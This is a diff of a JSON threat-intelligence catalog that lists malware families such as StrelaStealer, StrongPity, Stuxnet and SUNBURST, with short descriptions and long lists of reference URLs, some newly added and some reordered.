"https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/" ], "synonyms": [ "Djvu", @@ -45694,9 +47815,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway", - "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government", "https://blog.exatrack.com/melofee/", - "https://github.com/ph4ntonn/Stowaway" + "https://github.com/ph4ntonn/Stowaway", + "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government" ], "synonyms": [], "type": [] @@ -45716,12 +47837,27 @@ "uuid": "0439c5ec-306e-4473-84f7-50bdb5539fc2", "value": "Stration" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stratofear", + "https://www.mandiant.com/resources/blog/north-korea-supply-chain" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a968a42e-4162-46db-a96e-2a45927d1cd7", + "value": "STRATOFEAR" + }, { "description": "According to PCRisk, StrelaStealer seeks to extract email account log-in credentials. At the time of writing, this program targets Microsoft Outlook and Mozilla Thunderbird email clients.\r\n\r\nFollowing successful infiltration, StrelaStealer searches for \"logins.json\" (account/password) and \"key4.db\" (password database) within the \"%APPDATA%\\Thunderbird\\Profiles\\\" directory - by doing so, it can acquire the credentials for Thunderbird.\r\n\r\nAlternatively, if Outlook credentials are targeted - StrelaStealer seeks out the Windows Registry from where it can retrieve the program's key and \"IMAP User\", \"IMAP Server\", as well as the \"IMAP Password\" values. Since the latter is kept in an encrypted form, the malicious program employs the Windows CryptUnprotectData feature to decrypt it prior to exfiltration.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer", - "https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc" + "https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc", + "https://research.openanalysis.net/strelastealer/stealer/2023/05/07/streala.html", + "https://cert-agid.gov.it/news/analisi-tecnica-e-considerazioni-sul-malware-strela/" ], "synonyms": [], "type": [] @@ -45734,9 +47870,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint", - "https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/", "https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/", "https://www.bleepingcomputer.com/news/security/stresspaint-malware-steals-facebook-credentials-and-session-cookies/", + "https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/", "https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/" ], "synonyms": [], @@ -45751,8 +47887,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat", "https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff", - "https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard", - "https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations" + "https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations", + "https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard" ], "synonyms": [], "type": [] @@ -45762,26 +47898,40 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.strikesuit_gift", + "https://assets.stairwell.com/hubfs/Marketing-Assets/Stairwell-threat-report-The-origin-of-APT32-macros.pdf", + "https://ti.qianxin.com/blog/articles/english-version-of-new-approaches-utilized-by-oceanLotus-to-target-vietnamese-environmentalist/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ec2a5a29-a142-447c-85b9-ec47e78f9cb2", + "value": "StrikeSuit Gift" + }, + { + "description": "According to Mitre, StrongPity is an information stealing malware used by PROMETHIUM.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/", + "https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity", "https://0xthreatintel.medium.com/uncovering-apt-c-41-strongpity-backdoor-e7f9a7a076f4", "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", - "https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/", - "https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/", + "https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/", "https://twitter.com/physicaldrive0/status/786293008278970368", "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", - "https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg", - "https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/", + "https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/", + "https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/", "https://blogs.blackberry.com/en/2021/11/zebra2104", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/", "https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara", - "https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/", + "https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg", "https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation", - "https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA" + "https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA", + "https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" ], "synonyms": [], "type": [] @@ -45794,24 +47944,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet", - "https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147", - "http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html", - "https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf", - "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", "https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/", - "https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet", + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf", "https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf" + "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf", + "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet", + "http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html", + "https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf" ], "synonyms": [], "type": [] @@ -45824,10 +47974,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.subzero", - "https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html", - "https://cdn.netzpolitik.org/wp-upload/2021/12/2018-08-28_DSIRF_Company-Profile-Gov.redacted.pdf", + "https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich/", "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", - "https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich/" + "https://cdn.netzpolitik.org/wp-upload/2021/12/2018-08-28_DSIRF_Company-Profile-Gov.redacted.pdf", + "https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html" ], "synonyms": [ "Corelump", @@ -45857,9 +48007,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sugar", + "https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb", "https://cyware.com/news/newly-found-sugar-ransomware-is-now-being-offered-as-raas-641cfa69", - "https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49", - "https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb" + "https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49" ], "synonyms": [], "type": [] @@ -45893,185 +48043,199 @@ "uuid": "129163aa-8539-40ee-a627-0ac6775697b5", "value": "SUGARRUSH" }, + { + "description": "According to Mandiant, SUGARUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sugarush", + "https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping" + ], + "synonyms": [], + "type": [] + }, + "uuid": "129163aa-8539-40ee-a627-0ac6775697b5", + "value": "SUGARUSH" + }, { "description": "FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunburst", - "https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection", - "https://www.bleepingcomputer.com/news/security/the-solarwinds-cyberattack-the-hack-the-victims-and-what-we-know/", - "https://www.brighttalk.com/webcast/7451/462719", - "https://mp.weixin.qq.com/s/lh7y_KHUxag_-pcFBC7d0Q", + "https://therecord.media/solarwinds-says-fewer-than-100-customers-were-impacted-by-supply-chain-attack", + "https://www.fireeye.com/current-threats/sunburst-malware.html", + "https://twitter.com/ItsReallyNick/status/1338382939835478016", + "https://github.com/RedDrip7/SunBurst_DGA_Decode", + "https://www.cisa.gov/news/2021/01/05/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://securelist.com/sunburst-backdoor-kazuar/99981/", + "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", + "https://www.crowdstrike.com/blog/crowdstrike-launches-free-tool-to-identify-and-help-mitigate-risks-in-azure-active-directory/", + "https://www.gov.pl/web/diplomacy/statement-on-solar-winds-orion-cyberattacks", + "https://vxug.fakedoma.in/samples/Exotic/UNC2452/SolarWinds%20Breach/", + "https://www.microsoft.com/en-us/security/business/threat-protection/solorigate-detection-guidance", + "https://thenewstack.io/behind-the-scenes-of-the-sunburst-attack/", + "https://www.bleepingcomputer.com/news/security/autodesk-reveals-it-was-targeted-by-russian-solarwinds-hackers/", + "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", + "https://www.youtube.com/watch?v=LA-XE5Jy2kU", "https://www.microsoft.com/security/blog/2021/01/14/increasing-resilience-against-solorigate-and-other-sophisticated-attacks-with-microsoft-defender/", "https://mp.weixin.qq.com/s/UqXC1vovKUu97569LkYm2Q", - "https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html", - "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", - "https://blog.prevasio.com/2020/12/sunburst-backdoor-part-iii-dga-security.html", - "https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/", - "https://msrc-blog.microsoft.com/2020/12/31/microsoft-internal-solorigate-investigation-update/", - "https://fidelissecurity.com/threatgeek/data-protection/ongoing-analysis-solarwinds-impact/", - "https://www.domaintools.com/resources/blog/change-in-perspective-on-the-utility-of-sunburst-related-network-indicators#", - "https://www.gov.pl/web/diplomacy/statement-on-solar-winds-orion-cyberattacks", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", "https://netresec.com/?b=211cd21", - "https://www.cyborgsecurity.com/blog/sunburst-solarwinds-supply-chain-attack/", - "https://twitter.com/cybercdh/status/1338975171093336067", - "https://therecord.media/solarwinds-says-fewer-than-100-customers-were-impacted-by-supply-chain-attack", - "https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html", - "https://www.bleepingcomputer.com/news/security/mimecast-links-security-breach-to-solarwinds-hackers/", + "https://www.sec.gov/ix?doc=/Archives/edgar/data/1739942/000173994221000076/swi-20210507.htm", + "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", + "https://www.domaintools.com/resources/blog/the-devils-in-the-details-sunburst-attribution", + "https://www.splunk.com/en_us/blog/security/sunburst-backdoor-detections-in-splunk.html", "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", - "https://vxug.fakedoma.in/samples/Exotic/UNC2452/SolarWinds%20Breach/", - "https://www.mfa.gov.lv/en/news/latest-news/67813-latvia-s-statement-following-the-announcement-by-the-united-states-of-actions-to-respond-to-the-russian-federation-s-destabilizing-activities", + "https://www.bleepingcomputer.com/news/security/the-solarwinds-cyberattack-the-hack-the-victims-and-what-we-know/", + "https://us-cert.cisa.gov/ncas/current-activity/2020/12/13/active-exploitation-solarwinds-software", + "https://twitter.com/Intel471Inc/status/1339233255741120513", + "https://zengo.com/ungilded-secrets-a-new-paradigm-for-key-security/", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:MSIL/Solorigate.B!dha", + "https://netresec.com/?b=211f30f", "https://docs.google.com/spreadsheets/d/1u0_Df5OMsdzZcTkBDiaAtObbIOkMa5xbeXdKk_k0vWs", - "https://github.com/SentineLabs/SolarWinds_Countermeasures", - "https://techcommunity.microsoft.com/t5/azure-active-directory-identity/understanding-quot-solorigate-quot-s-identity-iocs-for-identity/ba-p/2007610", - "https://www.domaintools.com/resources/blog/continuous-eruption-further-analysis-of-the-solarwinds-supply-incident", - "https://prevasio.com/static/web/viewer.html?file=/static/Anatomy_Of_SolarWinds_Supply_Chain_Attack.pdf", - "https://www.fireeye.com/current-threats/sunburst-malware.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.bleepingcomputer.com/news/security/nasa-and-the-faa-were-also-breached-by-the-solarwinds-hackers/", - "https://medium.com/insomniacs/a-look-into-sunbursts-dga-ba4029193947", - "https://twitter.com/cybercdh/status/1338885244246765569", - "https://github.com/fireeye/Mandiant-Azure-AD-Investigator", "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", - "https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf", - "https://www.cadosecurity.com/post/responding-to-solarigate", - "https://blog.gigamon.com/2021/07/27/ghosts-on-the-wire-expanding-conceptions-of-network-anomalies/", - "https://twitter.com/ItsReallyNick/status/1338382939835478016", - "https://www.prevasio.io/blog/sunburst-backdoor-a-deeper-look-into-the-solarwinds-supply-chain-malware", - "https://blog.cloudflare.com/a-quirk-in-the-sunburst-dga-algorithm/", - "https://blog.cloudflare.com/solarwinds-orion-compromise-trend-data/", - "https://www.justice.gov/opa/pr/department-justice-statement-solarwinds-update", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-134a", - "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", - "https://corelight.blog/2020/12/15/finding-sunburst-backdoor-with-zeek-logs-and-corelight/", - "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", - "https://www.youtube.com/watch?v=mbGN1xqy1jY", - "https://www.trustedsec.com/blog/solarwinds-backdoor-sunburst-incident-response-playbook/?hss_channel=tw-403811306", - "https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.cisa.gov/news/2021/01/05/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure", - "https://www.brighttalk.com/webcast/7451/469525", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-command-control", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/additional-analysis-into-the-sunburst-backdoor/", - "https://www.mimecast.com/incident-report/", - "https://www.bleepingcomputer.com/news/security/fireeye-microsoft-create-kill-switch-for-solarwinds-backdoor/", - "https://github.com/RedDrip7/SunBurst_DGA_Decode", - "https://news.sophos.com/en-us/2020/12/14/solarwinds-playbook/", + "https://community.ibm.com/community/user/security/blogs/gladys-koskas1/2020/12/18/sunburst-indicator-detection-in-qradar", + "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://www.consilium.europa.eu/en/press/press-releases/2021/04/15/declaration-by-the-high-representative-on-behalf-of-the-european-union-expressing-solidarity-with-the-united-states-on-the-impact-of-the-solarwinds-cyber-operation", + "https://blog.reversinglabs.com/blog/sunburst-the-next-level-of-stealth", + "https://blogs.microsoft.com/on-the-issues/2020/12/17/cyberattacks-cybersecurity-solarwinds-fireeye/", + "https://blog.truesec.com/2021/01/07/avoiding-supply-chain-attacks-similar-to-solarwinds-orions-sunburst", + "https://twitter.com/cybercdh/status/1338885244246765569", + "https://twitter.com/megabeets_/status/1339308801112027138", + "https://prevasio.com/static/web/viewer.html?file=/static/Anatomy_Of_SolarWinds_Supply_Chain_Attack.pdf", "https://gist.github.com/olafhartong/71ffdd4cab4b6acd5cbcd1a0691ff82f", "https://twitter.com/KimZetter/status/1338305089597964290", - "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", - "https://www.prevasio.io/blog/sunburst-backdoor-part-ii-dga-the-list-of-victims", - "https://labs.sentinelone.com/solarwinds-sunburst-backdoor-inside-the-stealthy-apt-campaign/", - "https://vrieshd.medium.com/finding-sunburst-victims-and-targets-by-using-passivedns-osint-68f5704a3cdc", - "https://www.youtube.com/watch?v=GfbxHy6xnbA", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-a-device-to-cloud-architecture-defends-against-the-solarwinds-supply-chain-compromise/", - "https://www.trustedsec.com/blog/solarwinds-orion-and-unc2452-summary-and-recommendations/", - "https://us-cert.cisa.gov/remediating-apt-compromised-networks", + "https://www.domaintools.com/resources/blog/change-in-perspective-on-the-utility-of-sunburst-related-network-indicators#", + "https://www.prevasio.io/blog/sunburst-backdoor-a-deeper-look-into-the-solarwinds-supply-chain-malware", "https://www.cyborgsecurity.com/cyborg_labs/threat-hunt-deep-dives-solarwinds-supply-chain-compromise-solorigate-sunburst-backdoor/", - "https://r136a1.info/2022/06/18/using-dotnetfile-to-get-a-sunburst-timeline-for-intelligence-gathering/", - "https://www.ironnet.com/blog/a-closer-look-at-the-solarwinds/sunburst-malware-dga-or-dns-tunneling", - "https://www.netresec.com/?page=Blog&month=2020-12&post=Reassembling-Victim-Domain-Fragments-from-SUNBURST-DNS", - "https://netresec.com/?b=211f30f", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.4hou.com/posts/KzZR", - "https://www.comae.com/posts/sunburst-memory-analysis/", - "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", - "https://blogs.microsoft.com/on-the-issues/2020/12/17/cyberattacks-cybersecurity-solarwinds-fireeye/", - "https://www.youtube.com/watch?v=dV2QTLSecpc", - "https://ics-cert.kaspersky.com/reports/2021/01/26/sunburst-industrial-victims/", - "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", - "https://github.com/github/codeql/tree/main/csharp/ql/src/experimental/Security%20Features/campaign", - "https://community.riskiq.com/article/9a515637", - "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", - "https://zengo.com/ungilded-secrets-a-new-paradigm-for-key-security/", - "https://www.fireeye.com/blog/products-and-services/2021/02/light-in-the-dark-hunting-for-sunburst.html", - "https://drive.google.com/file/d/1R79Q1oC18GmKK8FYBoYEt0vYF7SpsvQI/view", - "https://www.domaintools.com/resources/blog/the-devils-in-the-details-sunburst-attribution", - "https://www.consilium.europa.eu/en/press/press-releases/2021/04/15/declaration-by-the-high-representative-on-behalf-of-the-european-union-expressing-solidarity-with-the-united-states-on-the-impact-of-the-solarwinds-cyber-operation", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data", - "https://www.sec.gov/ix?doc=/Archives/edgar/data/1739942/000173994221000076/swi-20210507.htm", - "https://youtu.be/SW8kVkwDOrc?t=24706", - "https://www.mandiant.com/media/10916/download", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", - "https://news.sophos.com/en-us/2020/12/21/how-sunburst-malware-does-defense-evasion/", - "https://blog.prevasio.com/2020/12/sunburst-backdoor-part-ii-dga-list-of.html", - "https://twitter.com/megabeets_/status/1339308801112027138", - "https://www.microsoft.com/en-us/security/business/threat-protection/solorigate-detection-guidance", - "https://blog.reversinglabs.com/blog/sunburst-the-next-level-of-stealth", - "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", - "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", - "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", - "https://www.netresec.com/?page=Blog&month=2020-12&post=Extracting-Security-Products-from-SUNBURST-DNS-Beacons", - "https://netresec.com/?b=2113a6a", - "https://www.splunk.com/en_us/blog/security/smoothing-the-bumps-of-onboarding-threat-indicators-into-splunk-enterprise-security.html", - "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", - "https://www.splunk.com/en_us/blog/security/sunburst-backdoor-detections-in-splunk.html", - "https://www.securonix.com/web/wp-content/uploads/2020/12/threat_research_solarwinds_sunburst_eclipser_supply_chain.pdf", - "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", - "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", - "https://github.com/cisagov/CHIRP", - "https://www.nato.int/cps/en/natolive/official_texts_183168.htm?selectedLocale=en", + "https://www.trustedsec.com/blog/solarwinds-orion-and-unc2452-summary-and-recommendations/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-attacks-stealthy-attackers-attempted-evade-detection", - "https://techcommunity.microsoft.com/t5/azure-active-directory-identity/azure-ad-workbook-to-help-you-assess-solorigate-risk/ba-p/2010718", - "https://us-cert.cisa.gov/ncas/alerts/aa21-077a", - "https://us-cert.cisa.gov/ncas/current-activity/2020/12/13/active-exploitation-solarwinds-software", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:MSIL/Solorigate.B!dha", - "https://www.mandiant.com/resources/unc2452-merged-into-apt29", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://research.checkpoint.com/2021/deep-into-the-sunburst-attack/", - "https://mp.weixin.qq.com/s/v-ekPFtVNZG1W7vWjcuVug", - "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-352a", - "https://www.aon.com/cyber-solutions/aon_cyber_labs/cloudy-with-a-chance-of-persistent-email-access/", - "https://www.youtube.com/watch?v=JoMwrkijTZ8", - "https://netresec.com/?b=212a6ad", - "https://www.youtube.com/watch?v=-Vsgmw2G4Wo", - "https://github.com/sophos-cybersecurity/solarwinds-threathunt", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a", - "https://blog.truesec.com/2020/12/17/the-solarwinds-orion-sunburst-supply-chain-attack/", - "https://twitter.com/0xrb/status/1339199268146442241", - "https://www.solarwinds.com/securityadvisory/faq", - "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", - "https://us-cert.cisa.gov/sites/default/files/publications/SolarWinds_and_AD-M365_Compromise-Detecting_APT_Activity_from_Known_TTPs.pdf", - "https://www.microsoft.com/security/blog/2021/02/25/microsoft-open-sources-codeql-queries-used-to-hunt-for-solorigate-activity/", - "https://github.com/fireeye/sunburst_countermeasures", - "https://www.mimecast.com/blog/important-security-update/", - "https://twitter.com/lordx64/status/1338526166051934213", - "https://community.ibm.com/community/user/security/blogs/gladys-koskas1/2020/12/18/sunburst-indicator-detection-in-qradar", - "https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html", - "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", - "https://blog.apiiro.com/detect-and-prevent-the-solarwinds-build-time-code-injection-attack", - "https://pastebin.com/6EDgCKxd", - "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://www.youtube.com/watch?v=LA-XE5Jy2kU", - "https://www.youtube.com/watch?v=cMauHTV-lJg", - "https://youtu.be/Ta_vatZ24Cs?t=59", - "https://mitre-attack.github.io/attack-navigator/#layerURL=https://raw.githubusercontent.com/center-for-threat-informed-defense/public-resources/master/solorigate/UNC2452.json", - "https://www.zscaler.com/blogs/security-research/hitchhikers-guide-solarwinds-incident-response", - "https://techcommunity.microsoft.com/t5/azure-sentinel/solarwinds-post-compromise-hunting-with-azure-sentinel/ba-p/1995095", - "https://www.cisa.gov/supply-chain-compromise", - "https://www.ironnet.com/blog/solarwinds/sunburst-behavioral-analytics-and-collective-defense-in-action", - "https://twitter.com/Intel471Inc/status/1339233255741120513", - "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "https://www.elastic.co/blog/supervised-and-unsupervised-machine-learning-for-dga-detection", - "https://blog.prevasio.com/2020/12/sunburst-backdoor-deeper-look-into.html", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.solarwinds.com/securityadvisory", - "https://www.crowdstrike.com/blog/crowdstrike-launches-free-tool-to-identify-and-help-mitigate-risks-in-azure-active-directory/", - "https://go.recordedfuture.com/hubfs/reports/pov-2020-1230.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-unique-dga", - 